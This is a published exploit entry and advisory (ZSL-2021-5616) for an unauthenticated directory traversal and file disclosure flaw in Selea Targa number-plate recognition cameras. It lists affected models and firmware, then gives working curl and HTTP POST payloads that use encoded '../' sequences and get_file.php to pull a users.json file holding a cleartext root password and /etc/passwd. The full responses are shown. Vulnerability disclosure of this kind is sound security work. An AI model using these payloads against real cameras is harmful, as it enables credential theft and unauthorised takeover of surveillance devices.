Selea Targa IP OCR-ANPR Camera - Directory Traversal File Disclosure (Unauthenticated)

# Exploit Title: Selea Targa IP OCR-ANPR Camera - Directory Traversal File Disclosure (Unauthenticated)
# Date: 07.11.2020
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.selea.com

Selea Targa IP OCR-ANPR Camera Unauthenticated Directory Traversal File Disclosure


Vendor: Selea s.r.l.
Product web page: https://www.selea.com
Affected version: Model: iZero
                         Targa 512
                         Targa 504
                         Targa Semplice
                         Targa 704 TKM
                         Targa 805
                         Targa 710 INOX
                         Targa 750
                         Targa 704 ILB
                  Firmware: BLD201113005214
                            BLD201106163745
                            BLD200304170901
                            BLD200304170514
                            BLD200303143345
                            BLD191118145435
                            BLD191021180140
                            BLD191021180140
                  CPS: 4.013(201105)
                       3.100(200225)
                       3.005(191206)
                       3.005(191112)

Summary: IP camera with optical character recognition (OCR) software for automatic
number plate recognition (ANPR) also equipped with ADR system that enables it to read
the Hazard Identification Number (HIN, also known as the Kemler Code) and UN number
of any vehicle captured in free-flow mode. TARGA is fully accurate in reading number
plates of vehicles travelling at high speed. Its varifocal, wide-angle lens makes
this camera suitable for all installation conditions. Its built-in OCR software works
as an automatic and independent system without the need of a computer, thus giving
autonomy to the device even in the event of an interruption in the connection between
the camera and the operations centre.

Desc: The ANPR camera suffers from an unauthenticated arbitrary file disclosure vulnerability.
Input passed through the Download Archive in Storage page using get_file.php script is
not properly verified before being used to download files. This can be exploited to
disclose the contents of arbitrary and sensitive files via directory traversal attacks
and aid the attacker to disclose clear-text credentials resulting in authentication
bypass.

Tested on: GNU/Linux 3.10.53 (armv7l)
           PHP/5.6.22
           selea_httpd
           HttpServer/0.1
           SeleaCPSHttpServer/1.1


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5616
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5616.php


07.11.2020

--


$ curl http://192.168.1.17:8080/CFCARD/images/SeleaCamera/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fmnt/data/auth/users.json
{
    "viewers": {},
    "root_pwd": "P@$$w0rd",
    "operators": {}
}

$ curl http://192.168.1.17:8080/CFCARD/images/SeleaCamera/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
root:x:0:0:root:/root:/bin/sh
daemon:x:1:1:daemon:/usr/sbin:/bin/false
bin:x:2:2:bin:/bin:/bin/false
sys:x:3:3:sys:/dev:/bin/false
sync:x:4:100:sync:/bin:/bin/sync
mail:x:8:8:mail:/var/spool/mail:/bin/false
www-data:x:33:33:www-data:/var/www:/bin/false
operator:x:37:37:Operator:/var:/bin/false
nobody:x:99:99:nobody:/home:/bin/false
dbus:x:1000:1000:DBus messagebus user:/var/run/dbus:/bin/false



POST /cgi-bin/get_file.php HTTP/1.1
Host: 192.168.1.17

name=TESTINGUS&files_list=/etc/passwd


HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-disposition: attachment; filename="TESTINGUS.tar"
Expires: 0
Cache-Control: must-revalidate
Pragma: public
Content-Length: 2048
Connection: close
Date: Wed, 09 Dec 2020 01:39:57 GMT
Server: selea_httpd

root:/root:/bin/sh
daemon:x:1:1:daemon:/usr/sbin:/bin/false
bin:x:2:2:bin:/bin:/bin/false
sys:x:3:3:sys:/dev:/bin/false
sync:x:4:100:sync:/bin:/bin/sync
mail:x:8:8:mail:/var/spool/mail:/bin/false
www-data:x:33:33:www-data:/var/www:/bin/false
operator:x:37:37:Operator:/var:/bin/false
nobody:x:99:99:nobody:/home:/bin/false
dbus:x:1000:1000:DBus messagebus user:/var/run/dbus:/bin/false